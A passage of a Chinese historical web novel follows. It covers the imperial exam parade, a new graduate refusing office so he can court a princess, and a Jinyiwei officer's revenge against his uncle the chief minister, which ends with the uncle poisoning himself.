我不能认输,我得想着招儿, 把状元和探花的风头都抢过来。” 看着他咬牙切齿的模样, 小满把准备好的一肚子词咽了下去,默默冲他翻了个白眼。 明天就是传胪大典, 会正式宣布殿试结果,然后新科进士们跨马游街,要准备的事情还很多。 何平也发泄完了, 背起蒋夫人给的一堆好东西,挥泪道:“干娘,妹子,我去了, 咱们明天御街再见。别忘了把我誊抄的文章散出去啊。” 其实不用他散播,他们的文章早在殿试后就通过各种途径流传到外面了。更有茶肆酒楼,把前三的文章贴在大堂,引各路学子欣赏品评。 殿试前三,文章自然万里挑一,可青菜萝卜各有所爱,人们自有自己心目中的第一。 尤其听说榜眼是帝师林亭先生的徒弟后。 “此文章豪放旷达,超然潇洒,令人有如清风明月,雨霁云散之感,依鄙人之间,何公子的文章更胜一筹。” 一位中年文士赞叹一番,又捻着胡子连连叹息,“可惜林亭先生的名气太大,不得不避嫌。” 有人不服气,“何公子的文章好,李公子的也不差呀!辞藻瑰丽,构思奇巧,引经据典也毫无艰涩之感,这头名拿得当之无愧。” “非也非也,状元的文章过于雕镌,有卖弄文笔之意,还是何公子的好,自然流畅,雅俗共赏。” “又不是唱大戏,要什么雅俗共赏?何公子的文章写得太随便了,用词太普通,若如此平实的文章都能夺得状元,那我家小孙子也可一试。” “我听说李麟才十七岁,小小年纪笔锋如此老道,前途必定不可限量啊。” “十七岁?他是我朝最年轻的状元郎!” “何止我朝,只怕是有史以来。” “难怪会取他……” “诶诶,这话什么意思?就因为何平是林亭先生的弟子,你就上赶着捧臭脚,文人的风骨呢?” “拉倒吧,你还不是因为李麟出自苏州李家,就昧着良心说他的文章好。” 前堂的争执声越来越大,楼上雅间,刘瑾书轻轻关上窗子,回身笑道:“文无第一,武无第二,他们争个天翻地覆也争不出什么来,说到底,还是皇上说了算。” 李麟脸上闪过一抹黯然,“我看了何平的文章,的确好。” 刘瑾书讶然,“你不会也认为你年纪小皇上才取你做头名吧?” 李麟:“不是因为年纪,有比我更小的贡生,我想……林氏夫妻威名赫赫,他们背后的两林家族一北一南,都是几百年的世家大族,再出个状元,还是连中三元的状元,声势未免太大了。” 刘瑾书微微摇头,“何平姓何不姓林,就算林亭先生一力扶植他,林氏家族也不见得会买账。” “刘兄难道要说我是凭真才实学中的状元?” “不,何平的功力的确更盛你一筹。” 李麟:……虽然是实话,可还是好扎心。 刘瑾书不由一笑,问他:“有多少年南方士子没中过状元了?” 李麟一怔,他脑筋转得极快,很快意识到关键所在,“南北榜案后,再无南方士子中过状元,最高的名次就是探花,就是刘兄你!” 刘瑾书眼神微闪,声音也变得极低,“再这样下去,不仅南方士绅们会寒心,恐怕还要激起民愤。” 李麟喃喃道:“何平是北方人,就因为他是北方人,就错失了状元?这也太——” 他及时咬住嘴,没把剩下的话说出来。 刘瑾书转着手中的甜白瓷茶杯,同样沉默下来。 他在琢磨何平这个人,何平参加秋闱的文章他连夜找来看了,对比那科的状元,他认为何平在其之上,甚至也在自己之上。 如果为了所谓的“连中三元”,何平没必要推迟三年参加春闱。 三年前,当今废黜侄子,登基为帝,为稳定政局,绝大多数章程都照着先帝的规矩办,当然也包括科举取士。 其实当时的情况更有利何平,但他偏偏避开了。 是真没有自信,还是有意为之? 如果是有意,那何平也太可怕了,居然敢用自己的功名去赌皇上的心思。 用自己是林亭先生弟子的身份,把人们的关注点都拉到“皇上师弟,要避嫌”这一点上面,连李麟这么聪明的人都没想到这是南北榜案的遗留问题。 如此不动声色改了先帝的规矩,想必皇上一定很欣慰。 这样的人,却不能为刘家所用。 刘瑾书忽然想到,如果小满还是他的未婚妻,何平也必会成为刘家的助力。 真是……唉! 小满才不知道自己又成为别人长吁短叹的对象,为着第二天能在御前街占到个好位置,她一宿都没怎么睡,天蒙蒙发亮就起来叫蒋夫人了。 蒋夫人打着哈欠道:“让几个婆子小厮先过去占位子,你急什么。” “到时候人山人海,咱们就挤不出进去啦!”小满忙前忙后伺候母亲梳洗,吃过早饭,直奔御前街。 到的时候,太阳刚升到树梢,御前街已经站了不少人,两旁的商铺茶楼也早早卸下门板,开始吆喝生意。 蒋夫人道:“我说在茶楼上订个雅间,清清静静的,也能看清楚,还不用起个大早。平小子一定叫咱们站前头,不知道又打什么鬼主意。” 小满笑道:“我反正猜不着,等等看,这么重要的日子,他总不能给母亲来个‘惊吓’。” 日头越升越高,街上的人越来越多。 正等得不耐烦时,但听三通炮响,午门大开,号角齐鸣,鼓乐高奏,十名穿着飞鱼服的锦衣卫骑马先行,后边几十名禁卫军校尉擎着华旗,簇拥着新科状元从午门正门缓行而出。 “平小子呢?我怎么没瞧见他?”蒋夫人使劲向宫门的方向看。 “侧门!他从侧门出来了。”小满眼尖,指着给母亲瞧,“在那儿!原来只有状元才能正中的御道出来,其他进士只能走侧门。” 她都能想象到何平望着状元的背影翻白眼的样子了。 开始跨马游街啦!人群一下子沸腾起来,后头的往前头挤,前头还想再瞧清楚,都想一睹才子们的风采,更有无数鲜花绢花,雨一样落到模样俊俏的新科进士身上。 人们很快发现,年轻的状元郎看上去并不大开心,后面的榜眼却昂首挺胸意气风发,好像他才是头名,再后面的探花……快四十的矮冬瓜,算了,管他开不开心。 “他来了!”小满激动得又蹦又跳,使劲挥胳膊,生怕马背上的何平看不见。 何平忽然翻身下马,走到蒋夫人跟前,接着单膝跪地,唤了声母亲。 他下马姿势潇洒舒展,走起路来衣袂飘飘,稳重且不失飘逸,颇有仙人之风,且肩宽腰窄,身姿挺拔,不消说,马上抢走所有人目光。 蒋夫人成为人们的关注点。 去年和离案子闹得轰轰烈烈,蒋夫人在金陵城出了名,许多人把她当个笑话看,当个失节妇人鄙夷,流言蜚语曾在大街小巷盛行一时。 蒋夫人看似不在意,其实后面很少出门,哪怕何平故意让官差把会元喜报送到蒋家,年节时她还是没出门,甚至都没去平阳侯府。 谁心里都明白,小蒋氏和世子再怎么帮她,也只能在暗处使劲,光明正大上门拜访,只能让人家夹在中间难做。 现在当着数百新科进士,当着文武官员,当着满城百姓,何平这样一跪一唤,立刻惊得人群一片倒吸气。 他不是寻常的榜眼,他还是林亭先生倾力培养的弟子,唯一的嫡传弟子。听说皇上都非常器重他,昨晚留他说了一宿的话。 往后再想说闲话,就要掂量掂量了。 这边蒋夫人忙扶他起来,只是看着他流泪,哽咽得一个字也说不出。 何平笑笑,一个干净利索的飞身上马,尽显劲瘦腰腹和大长腿,不出意外的,又引起一片尖叫。 小满忍不住发笑:这家伙,果真把风头全抢了! 游街的进士们继续前行,小满的目光漫无目的地游走,只等观看的人少些就回家。 不期然的,一双熟悉的眼睛进入她的视线。 陈令安! 她又惊又喜,就要喊他。 举起的手却在半空中停住,慢慢落下了。 那是双怎样的眼睛啊,羡慕、渴求、落寞、幻灭、愧疚……她从来没在一双眼睛中看到如此多的情感。 他隐匿在人群中,穿着深蓝色罗袍,看起来就像个普通的书生。 或许十年前他踏上的这条路,从来都不是他想走的路。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 55-60 第56章 皇宫城楼上, 静轩公主和吕嘉宜并肩而立,远远眺望着跨马游街的方向。 进士们出了午门没多远就看不见了,吕嘉宜收回目光, “殿下,该回宫了。” “嗯。”静轩公主心不在焉应了声,却没动, “太可惜了。” 吕嘉宜知道她可惜的是谁, “是啊,没中状元,他做不了官,仕途要完蛋了。” 静轩公主失笑,“玩笑话也能当真?你不许再提啦。” 吕嘉宜讥笑一声, “我偏要提, 见他一次我就提一次, 非羞死他不可, 自己赌咒发誓,怨谁!” 静轩公主想起何平嬉笑怒骂的模样, 不由笑道:“就凭他那张厚脸皮, 怕是不知道何为‘羞’。他嘴厉害得紧,你是讨不到便宜的, 还是免了罢。” 吕嘉宜看着她的笑脸发愣。 自从驸马备选的名单送入内廷,公主再也没笑过。 学成文武艺,货与帝王家, 哪个不想建功立业封侯拜相?可驸马不得担任实权官职,只这一条,就让许多青年才俊敬而远之了。 呈上的名单就没几个可看的。 皇后大概也知道这点,元宵节公主晚归, 还喝了酒,皇后一句责罚的话都没有。就连今天公主违反宫规登城楼,皇后也当没看见。 可惜他们根本没可能。 吕嘉宜长叹口气,谁说皇帝的女儿不愁嫁,扯淡。 然而第二天,一个惊人的消息在京中炸开——何平不要皇上授官,拒绝了翰林院编修的任命! 蒋宅。 “你疯了吧!”小满瞪着趴在床上的何平,“皇上没砍你的头算你命大。” “没砍头也差不多了,三十板子哪,我这两条大长腿差点交代在宫里了。”何平疼得直哼哼,“老师就在旁边看着,居然不给我求情,还说打得好。还是小安安好,把我背出来。” 陈令安笑笑,一拍他的屁股,“不客气。” 杀猪似的嚎叫惊得刚进门的蒋夫人一个趔趄,手里的药膏子都差点打了。 看到面色苍白,满头冷汗,发丝凌乱,眼神宛若被遗弃的小狗的何平,蒋夫人的心一酸一软一热,心疼得声音都变了调。 “怎么打成这个样子,不做官又怎么了,谁说考中功名就必须要做官,皇上也忒不讲理了!” 真是宠孩子没边儿,连皇上也敢指责。小满哭笑不得接过药膏子,“陈令安给他上过药了。” 陈令安道:“那些太监下手有分寸,看着挺吓人的,其实没有伤及筋骨,养个七八天,他又能上房揭瓦了。” 蒋夫人担忧地问:“林亭先生怎么说,你突然来这一出,在皇上面前他也难做。” 何平哼哼,“老师说只要我不犯上作乱,随便我折腾。” 蒋夫人松口气,“我倒觉得,功名利禄虽好,却不是顶顶重要的,你现在还小呢,有充足的时间去想以后的路怎么走。嗐,反正干娘有的是银子,你想出去游学也好,想闭门做学问也好,都不成问题。” “还是干娘好。”何平感动得眼泪汪汪。 正说着话,方妈妈一撞进来,茫然之中又带着几分惊喜,“夫人,夫人,静轩公主来了!” 何平嘬着牙花子臭美,“准是来找我的,快请进来。” 门帘掀开,静轩公主竟自己进来了,一边说着“免礼”,一边看向何平,“为什么辞官?平白挨一顿打,傻不傻。” “为了娶你呀!”何平扬起脸露出个大大的笑容。 静轩公主呆住了。 剩余几人互相看看,颇有默契地悄悄退出了屋子。 吕嘉宜门神似地杵在窗下,一动不动,小满见状,索性也不走了。 都知道彼此的心思,两人互相冷哼一声倒也罢了,没想到陈令安也站在旁边没走。 吕嘉宜讥讽道:“堂堂朝廷命官,一个大男人,真好意思偷听。” 陈令安面色如常,“听墙角本就是锦衣卫的职责之一。” 小满噗嗤的笑出了声,吕嘉宜脸皮一红又要发作,却听屋里传来说话声,忙齐齐屏住声息,竖起耳朵。 静轩公主声音很低,听不大清,何平嗓门很高,简直是把话往他们耳朵里送! “不不,那话逗你们玩的!我本来就不想当官,做小了没意思,当大官又怕没个好下场——你看历朝历代,有哪个相爷落得善终的?再说我不服管,自由散漫,也当不了官。” 静轩公主低低说了句什么。 何平的声音认真又着急,“这句是真的!我早想好了,你要是不来,这话我就烂肚子里,你要是来了,那我就要搏一搏!” “奸诈。”吕嘉宜咬牙切齿暗骂一句。 小满难得没有反驳她。 屋里的声音再次低了下去,继续偷听已然不合适了,小满拉了下陈令安的袖子,起身悄悄离去。 天低云暗,他二人静静在小花园走着,谁也没说话。 三月间的细雨雾一样轻轻洒落,混着清风飘在小满热乎乎的脸上,清凉沁人。 她偷偷瞧了眼陈令安,起了话头,“他胆子可真大。 陈令安“嗯”了声,若有所思望着枝头打架的两只雀儿。 小满:“你看他俩能成吗?” 还是一声“嗯”。 小满显然不满意他敷衍的态度,捡起小石子向树枝扔过去。 雀儿拍打着翅膀飞走了,枝头乱颤,树叶飘落,陈令安惊讶地转过头看她。 小满的腮帮子鼓鼓的,“人家跟你说话呢。” “我没听清,你说什么?” “算了,没心情说了。” 可停了片刻,小满又忍不住说:“哪天我们去喝酒吧。” “嗯。”陈令安随口应了,旋即一怔,耳尖悄悄红了。 小满挑眉轻轻哼了声, 陈令安眸色微暗,“其实用不着喝酒也可以。” 说着,他上前一步,手撑在小满身旁的树干上,身子压下来。 高大的阴影顷刻笼罩住小满。 他要干什么? 小满瞪大眼睛看着他,紧张得心头突突直跳,全身皮肤收紧,手脚僵在原地,连呼吸都停止了。 陈令安伸出手。 小满听见自己的心脏在跳,砰砰,砰砰…… 手慢慢接近了,又近了,就要碰到她的脸了。 却在中途急转直下,拂了下她的肩膀。 陈令安翘起嘴角一笑,“有只毛毛虫。” 小满愕然,一股羞愤冲上来,烧得她脸滚烫,气得她直跺脚,恨得她捏起拳头砸他,“你耍我!真叫人讨厌。” 她的拳头轻飘飘的一点力道都没有,陈令安象征性躲了两下,眉梢眼角皆是笑意。 小满气呼呼停住手,停了片刻,眉间却泛起点点愁绪,“何平闯下这么大的祸,皇上的面子都没了,会把公主嫁给他吗?” 陈令安幽幽道:“从小到大,你见何平做过没把握的事吗?” 小满失笑,“也对,之前他还说想个招儿把状元的风头都抢过来,我还以为就是跨马游街那次,结果大招在这儿呢。” 是啊,消息传出,朝野定一片哗然,何平满腹才学、淡泊名利的世外高人形象算是夯实了,谁还记得状元郎是谁。 可陈令安没想到的是,官场民间竟开始流传一种说法:榜眼弃官不做,全是因为陈氏父子威逼迫害! 毕竟那天拜访座师,只有何平对陈阁老不冷不热,根本没有以师礼相待,陈阁老不高兴,小阁老为父出气,几次明里暗里下绊子,逼得何平不得不拒绝皇上的授官。 陈阁老的权力真大呀,连皇上都要退避三舍。 “好家伙,真是天助大人!”吴勇兴奋得直搓手,“这话传到皇上耳朵里,准够那老小子喝一壶的。” 看来想让陈绍倒台的不止他一人。陈令安眼神微闪,沉吟道:“不着急上奏,御史风闻奏事,先让他们打头阵。” 吴勇挠头,“咱们也没御史的路子,谁肯听咱的……” 陈令安叹口气:“动动你核桃仁大的脑子,之前赵橧一案,从联名弹劾书里找个蹦跶得最欢的,找人给他点把火,吹吹风。” 吴勇一拍脑门,“对哦,那几个御史绕过陈绍行事,不是对他有怨言,就是有猜忌!懂啦,属下这就去办。” 几天过后,就有个年轻御史弹劾陈阁老任人唯亲,对怀异议者打击报复。 也正如陈令安所料,弹劾奏本都没递到皇上跟前,也没到内阁,直接在通政司被陈令宜挡了。 当然,那御史也被上司“告诫”一番。 御史年轻气盛,正是恨不能一腔热血尽洒金銮殿的年纪,不但不思悔改,反而变本加厉,一连上了七八道奏本,还发动几位同道中人一起弹劾陈氏父子。 毫无例外都被压下了,有陈令宜的意思在,也有陈令安的手笔。 吴勇不明白。 陈令安难得心情好,与他解释道:“陈令宜不是傻子,看不惯何平是真,却不至于刻意压制他。何平为何辞官,早在御前说得明明白白,其中根本没有陈家的事。本就是流言,皇上顶多训斥陈令宜几句,不会发作陈绍。” 他拿出一份密奏,“这才是我们要呈递御前的东西。” 吴勇翻开看看,都是陈绍及陈令宜贪财受贿,结党营私,排除异己,强占王地民田,蓄亡命徒的证据,其中真假混杂,不无夸大之词, “不行吧。”吴勇表示怀疑,“上回咱们拿真凭实据参他,皇上都没治他的罪,这回真真假假的,皇上能信吗?” 陈令安冷笑道:“只有假的,才会扳倒陈绍。” 真的不行,假的才行,这叫什么道理?吴勇眨巴眨巴眼,不明白,可瞧着上峰那张冷峻阴郁的脸,得嘞,干就完事! 转天一早,北镇抚司的密奏就放在龙案上了。 弘德帝看后不置可否,直接发给内阁议处。 宛若一滴水滴入滚烫的热油,朝野上下立刻炸了锅! 第57章 北镇抚司的奏本一出, 先前跳得最高的御史们立时哑巴了,这时候他们再弹劾陈阁老,岂不有与锦衣卫同流合污的嫌疑? 而且陈令宜也不是吃素的, 抓住证据漏洞大肆渲染,人们光顾着看虚假的罪行,有真凭实据的罪行反而鲜少有人注意了。 一时为陈阁老鸣冤叫屈的奏章雪花片似地飞, 当然也有质疑陈阁老的声音, 其实就有刘瑾书。 弘德帝觉得有意思,特地把他叫来问:“什么时候你和陈令安的关系变好了?” 刘瑾书道:“皇上是说我弹劾陈阁老的事?我上奏章,是认为陈阁老的确有错,不是帮陈令安。况且陈令安的奏章也有许多不实之处,我也弹劾他了。” 弘德帝沉吟一阵, 挥挥手让吕良把那堆奏章搬走, “算了, 朕懒得理会他们的口水战, 疏浚会通河的银子还没下落,大运河不通, 漕粮运输不畅, 这些事他们倒躲得远远的。” 刘瑾书低头不语,皇上虽未明说, 可北迁的意思早就透露出来了,疏浚河道也有这层用意。 但自本朝开国,金陵就是京都, 就是权力的中心,一旦北迁,南方士族必会远离权力中心,这绝不是他们愿意看到的。 皇上每每提起, 除却北方出身的少数官员赞成,余者不是反对,就是沉默。 所以疏浚河道也一拖再拖,总也推进不下去。 他习惯了南方的生活,也不愿北迁,可现在却对北地有几分好奇——到底什么样的土地,能孕育出她那样的女孩子? 鬼使神差的,刘瑾书说:“挤一挤,银子还是有的。” 弘德帝的眼神忽悠一下亮了,“你仔细说说。” 刘瑾书捡着几样不要紧的说了,想了想又补充道:“微臣不在户部当差,这几样也是道听途说,还是请户部、工部几位主事与内阁商议个章程出来,再请皇上定夺。” 弘德帝正愁银子不凑手,一听这话有点坐不住了,“你随朕去文渊阁。” 刘瑾书提醒皇上,“已过了下衙的时辰。” 弘德帝一看殿外黑漆漆的夜空,自己先笑了,“朕忙得晕头转向忘了时辰,拉着你也不得空闲,吕良,你也不提醒朕一声。” 吕良躬身笑着,问皇上要不要用膳。 “不了。”或许是银子有了出处,弘德帝显得神采奕奕的,“我们去陈绍家蹭个饭。” 君臣二人换上便服,在暗卫的护送下,悄悄来到陈家巷。 门房不认得弘德帝,只认得刘瑾书,赔笑道:“刘大人来得真不凑巧,我家阁老、小阁老都不在。” 刘瑾书问:“阁老去哪儿了,我自去寻他。” 门房讪讪道:“小的不知道,不过小阁老临走前吩咐过,若非天塌下来的大事,不要去寻他们。” 刘瑾书便去看弘德帝,见他仍没有要走的意思,便说:“我还欠二公子一篇文章,今天正好有空——你不会说他也出门了吧?” “那没有,没有……”门房点头哈腰把他们请进来,命小厮赶紧通报。 弘德帝随引路的小厮往里走,但见宝瓶异鼎,文窗窈窕,处处彰显着钟鸣鼎食之家的奢华尊贵,就是伺候的仆妇,也是遍身绫罗绸缎,比宫里的宫女还要体面。 他微微皱了下眉头。 到书房没多久,陈二公子就到了,他天生腿疾没法入仕,就在家做了个富贵闲人,因而也不识得皇上。 二公子看上去宽和温厚,和他哥陈令宜性情截然相反,尽管陈刘两家嫌隙渐深,却没影响到他对刘瑾书的推崇。且对刘家“远亲”的弘德帝,没有丝毫怠慢。 这也是个聪明人,聊了会儿文章便瞧出他们意不在此,不等刘瑾书提,就说自己还未用饭,请二位赏脸云云。 晚饭很快端上来了,都是家常菜,既不显得奢侈,也不寒酸,瞧着就是中等人家的普通饭食罢了。 一时饭罢,下人捧茶过来,弘德帝尝了一口,是明前龙井。 弘德帝放下茶杯,冲刘瑾书微微颔首,刘瑾书会意,起身告辞。 二公子一直送到大门,还要送,被刘瑾书劝住了,可他依旧站在门前,直到再也看不见那二人的身影才转身回来。 却是一转身,脸色就沉了下来,质问管事的,“我叫你上去年的旧茶,你居然上新茶!” 管事的哆哆嗦嗦答道:“没有旧茶了,大爷前几天把各位主子用的茶都换成了今年新摘的茶叶。” “主子那里没有,你那里也没有?整个陈家就找不出二两旧茶?” “怎么敢让主子用我们的茶!大爷知道,非剥了我的皮不可。” “你……”二公子欲言又止,颓然挥挥手,“算了,再掩饰也逃不过那位的眼睛。去请老爷大爷回来,就说,皇上来过了。” 管事大惊失色,“皇上?就是刘大人旁边那位?二爷怎么看出来的,不像啊。” 二公子睃他一眼,“你能看出来,你就是爷了。刘大人对他恭敬有加,走路绝不肯走他前面,凡事都先看他的眼色再说话,他不是皇上还能是谁?快去!” 管事擦擦满头的冷汗,飞一般消失在夜幕中。 夜晚黑沉沉的,怪兽一样张着大口,没有星星,没有月光,只有一阵阵的冷风,飒飒吹过陈家的宅院。 二公子望着黑洞洞的天,蓦地一阵不安掠过心境- 许是陈阁老的门生故吏开始发力,保陈阁老的奏章越来越多,当然少不了对陈令安的一通臭骂。 陈令安早就习惯了,根本不在乎,他只关心谁还没上奏章保陈绍。 “除了散播陈绍蒙冤的消息,再加一条,陈令安遭皇上申斥,有发落降罪的迹象。” 吴勇明白他的做法了,把骑墙的那群人也拉进来,让更多的人保陈绍。 如此,朝堂上几乎是一边倒的形势了。 此时不说陈绍,便是陈令宜也意识到事态不对,忙令亲信们停止呼吁保陈,再上数份奏章弹劾父亲。 然而事态已经不受他们控制了,弹劾书非但没递上去,那几人还遭到同僚的排挤,指责他们是锦衣卫的走狗,忘记了座师的恩情。 陈绍本想压下这些奏章,可刘方先他一步禀报给皇上,皇上命吕良来取这些奏章,陈绍想压也压不住了。 吕良看着他直叹气:“瞧着阁老近来憔悴苍老许多,也是望六十的人了,多保重身体比什么都要紧。” 陈绍道:“不是我不想,这一大家子的重担都压在我肩膀上,不敢歇啊。” 吕良笑笑,什么也没说便走了。 真心保陈的也好,假意跟风的也好,都翘首以待皇上的旨意,可那些奏章就跟石沉大海一样,半个月过去,竟一点动静都没有。 连陈令安都有点坐不住了,就在他以为这次又和以前一样不了了之的时候,皇上深夜急诏他进宫。 旨意简单明确,陈绍无人臣礼,蔑视朝纲,贪赃枉法,着锦衣卫严加查办。 从奉天殿出来时,陈令安脚步虚浮,过门槛的时候竟绊了下,一个趔趄差点摔倒。 他扶着宫墙,浑身发抖,不停地大口呼吸着,想哭,想笑,想扯天扯地大吼。 十年了,十年了,这一天终于到了吗? 爹,娘,大哥…… 他捂住脸,眼泪悄无声息从指缝中流下。 不远处的甬道,李麟抱着一摞文书默默望着他,目光悲悯。 刘瑾书轻轻唤他一声,“该走了。” “你刘家也助力不少吧。”李麟忽道。 刘瑾书没法答话。 李麟也不需要他说话,自顾自道:“当今登基三年,首辅换了三个,不是被逼致仕,就是不得善终,谁知道下一个又是何等下场。当官好,当官又不好,这一点,你我倒不如何平看得开。” 刘瑾书许久才说:“你不像在赞叹何平,倒像在惋惜陈令安。” “的确,我替他不值。”李麟直言不讳道,“陈阁老再有不是,也是有功于社稷的,日后皇上后悔了,或者为堵悠悠众口,陈令安一定会被推出问罪。下一任首辅就是刘阁老吧,好处你们拿着,骂名他背着,我丑话说在前头,若真有那么一天,我李麟,定为替他鸣不平。” 说罢,也不等刘瑾书再说别话,竟自徉徉地去了。 甬道那头,也不见陈令安的身影。 朝阳照射下来,眼前的景物都躺在一种别样沉默的寂静中,混沌的天际,金色的琉璃瓦,红色的宫墙,刘瑾书静静站在暗淡的阳光下,忽然有种不知何去何从的茫然了。 清风吹过,似一声悲叹。 陈令安直接带人围了陈家。 大约听到了风声,亦或料到了,陈令宜没有上朝,脱袍解发,大马金刀坐在外院中堂,身旁是十几口箱子,单等着陈令安拿他。 “我知道诏狱的手段,落在你手里,我要是眉头皱一下就不姓陈!” 陈令宜面色倨傲,没有丁点畏惧之色,他拍拍身旁的箱子,“拿去,值钱的东西都在这里,不劳你们翻箱倒柜查找。只一条,不准惊扰陈家内眷。” 呦呵,还对锦衣卫指手画脚上了!吴勇刚要给他来点狠的,猛一想陈家和上司剪不断理还乱的关系,得,嘴巴又闭上了。 陈令安冷笑一声,“你还以为你是人人敬畏的小阁老?来人,无论外院内宅,细细搜查,不可放过一处罪证。” 陈令宜怒道:“陈令安,我娘还病着,你要逼死她吗?” 陈令安冷着面孔一言不发。 陈令宜的声音忽然变低,变软,“不要这样,算我求你,我娘,我娘……她是受我父子所累,好歹瞧在我娘待你妹子的份上……” 陈令安闭上眼,“把所有女眷单独拘在正院,不可动粗,找几个女官过来搜身。” 陈令宜这才缓缓舒口气,站起身道:“把我和我爹关在一起,他年纪大了,得有人伺候着——你也不想他很快死掉吧。” “他在哪儿?” “文渊阁,怎么,你竟没去那里?我爹还没被罢官呢!” 陈令安转身就走。 好个陈绍,到了这个时候,竟然还敢稳坐内阁。 文渊阁冷清得吓人,除却看门的太监,看不到一个办差的官吏。 白色的日头在昏暗的薄云后穿行,高高的院墙在地上投下模糊的影子。 门嘎吱吱推开,见有人进来,一只乌鸦唿地飞起,在空中盘旋几圈,落在暗沉沉的屋檐上,睁着黑亮亮的眼睛盯着屋里一站一坐的两个人。 陈绍头戴乌纱帽,一身绯袍绣仙鹤的官服,神色肃穆看着陈令安,那模样不像受审,倒像审问。 “等你很久了。”他说,“坐下,我有话和你说。” 陈令安竭力镇定着狂跳的心,拳头攥得出汗,“有话去诏狱说,叔父,我等这一天,也等很久了。” 陈绍淡淡笑了笑,“你父亲到底为何自尽,听不听?” 第58章 “为何自尽?”陈令安悲凉地笑了声, “你问这个问题不觉得很贱吗?还是你想说你有苦衷,你是迫不得已?” 陈令安冷冷瞧着他,“任凭你说破天, 我也绝不会心软,你到地底下求我父亲原谅吧!” 陈绍摇摇头,提起烧得滚烫的小铜壶, 缓缓注入茶壶, 氤氲的雾气中,他的脸色显得晦暗不明。 “我没有对不起他,为什么要求他原谅?相反,他要感谢我,是我挽回了他的名声, 是我救了整个陈氏家族, 是我, 让他死后有脸见陈家的列祖列宗。” “胡搅蛮缠!”陈令安勃然大怒, “你今日的荣华富贵,是用我们全家的命换来的, 居然还恬不知耻说这些!” “你做天子近臣也不是一两年了, 看问题还如此简单?”陈绍把茶壶的水倒掉,重新注入热水, “不错,南北榜案,你父亲的确是冤枉的, 他没有徇私舞弊,没有偏袒任何人,完全是‘唯才是举’。” “可他忘了,不, 应该说他刻意忽视了,南北的差异。” “北方经过几百年的动荡,连年的战乱,远不如南方安定繁荣,活下去都难,更别说读书了,同样的试卷,根本考不过南方士子。本朝立国,科举取士以南方人居多,做官的当然也是南方人居多,北方士子被排除权力体系外,长此以往,安能不乱?” 陈绍讥笑一声,“先帝为着整个大局考虑,考前就暗示过他,要安抚北方的民心。可他呢,为着自己所信守的‘公平’,不顾先帝的意愿,竟没有取一个北方士子。” “先帝不是没给过他机会,可他呢,复查还是维持了原榜的结果,还把试卷拿给先帝看,逐一分析南北士子的试卷优劣。蠢,真是太蠢了,先帝本就多疑,能不怀疑他纠集南方士族对抗皇权吗?他是自己断了自己的路。” 他看着有些怔楞的陈令安,“你父亲以“诚实君子”闻名,却也死在这点上头。” 陈令安紧咬着牙关,强抑着不让自己失态,好一会儿,才粗重地喘口气道:“你知道他冤枉,却故意陷害他舞弊,他可是你亲哥哥,他有哪点对不起你!” 陈绍脸上闪过一抹黯然,却是转瞬即逝,“他没对不起我的地方,可他死犟下去,凭先帝的脾气,一定找借口杀了他,还会抄家灭族。我不能被他拖死,陈氏一族不能被他毁了。” 陈令安冷笑道:“与其让别人捡这个便宜,不如你这个亲弟弟‘大义灭亲’,好把自己和陈家摘出来,对吧,二叔?” 陈绍傲然往后一靠,“对!在我手里,陈氏一族比十年前更兴旺,十二名进士,三十多个举人,秀才更是一抓一把,哪怕我今天倒了,他日陈氏一族照样能起来。” 陈令安深深看他一眼,“你凭什么以为我不会对那些人下手?当年我家遭难,他们都在落井下石。” “你绝对会,可皇上不允许。”他提起茶壶给自己倒了杯茶,“小子,你小瞧了我,也高看了你自己,我不是败给你,是败给皇上。” “你真当皇上看不出你和刘方玩的小花招?皇上是从北边打进来的,他用我逼走前朝的陈阁老,稳住江南士族的心,可如今官场上南方派势力太大,我这块镇山石,就成了绊脚石。皇上不过顺势搬走我这块石头,警告下南方士族,却不容许你把山炸了。” 陈令安霍地站起来,“懒得听你废话,二叔,我在诏狱给你留了最好的位子。” 陈绍哈哈大笑,端起茶杯一饮而尽,“二叔岂是你能审的?小子,拿着我的尸首给皇上交差去吧!” 陈令安大惊,夺过茶杯一闻,“断肠草!你、你……” 血,慢慢从陈绍的鼻子、嘴角流出,他艰难地保持着坐姿,右手紧紧握住那枚银制“文渊阁印”的首辅印鉴,重重呼出口气,没了气息。 一阵凉风卷着雨丝袭窗而过,满屋纸张扑簌簌颤抖着,飞舞着,恍若无数冥纸漫天飘落。 陈令安慢慢走出屋子,他的脸色苍白如纸,眼神泛着无所事事的空洞,好像一下子失去了方向。 他仰起头,让淅沥沥的小雨浇在脸上。 “大人?”吴勇轻轻唤他。 “都收监了?” “是,陈家男丁、几个大管事都押入诏狱,女眷暂关应天府大牢,查抄出来的东西,大家伙都没动,等大人示下。” 陈令安缓缓睁开眼睛,“陈氏父子的案子,交由你处理。” 吴勇瞪大眼睛,“这怎么行!” “陈绍服毒自尽了,陈令宜一人支撑不住,并不难审。” “是……啊?” “有不明白的再来问我。”陈令安走了。 吴勇不知道是不是自己的错觉,上峰在风雨中的身影有些飘摇。 明明大仇得报,为什么他看起来一点也不痛快?- 或许是陈绍的死多少触动了弘德帝的心,只将陈令宜削官流放岭南,没收陈家全部家产,两代内不准科举入仕,并没有对陈家赶尽杀绝。 旨意下来的那天,小满去找陈令安。 清明已过,得了一春的滋养,陈家老宅郁郁葱葱,瞧着比以前有生气多了。 雾一样的蒙蒙细雨均匀而细密地飘洒下来,陈令安坐在正院廊下的台阶上,望着庭院的树发呆。 柳树长出了稀疏的枝条,静静依偎在高大的梧桐旁边。 小满走到他身边坐下,“吴勇说你好几天没去衙门当差了。” “懒得去。” “以后还去吗?” 陈令安没说话。 小满想了想,说:“不如你辞官吧,反正你也不靠这份俸禄活着,干脆到蒋家帮忙!母亲庄子铺子一大堆,我们都不耐烦打理庶务,正犯愁着呢。” 陈令安:“我的身价贵得很,你们雇不起。” 小满斜睨着他,“要是……不是雇佣呢?” “想白嫖?” “呸!什么嫖……的,就知道胡说八道,你这个大傻子!” 凉丝丝的风卷着雨滴吹在脸上,小满摸摸发烫的脸颊,轻声道:“我说辞官是认真的,你做的这一切都是为了报仇,其实你不喜欢呆在锦衣卫,现在陈绍死了,陈家败了,你也没必要在北镇抚司再待下去了。” 陈令安长叹口气,慢慢躺倒,盯着廊庑的房梁发呆。 小满支着脑袋看他,“想不想回宣府看看,夏天的宣府最舒服不过了,天空瓦蓝瓦蓝,云是大团大团的棉花团,吹来的风清清爽爽,没有江南总也下不完的雨,总好像泡在水里。” 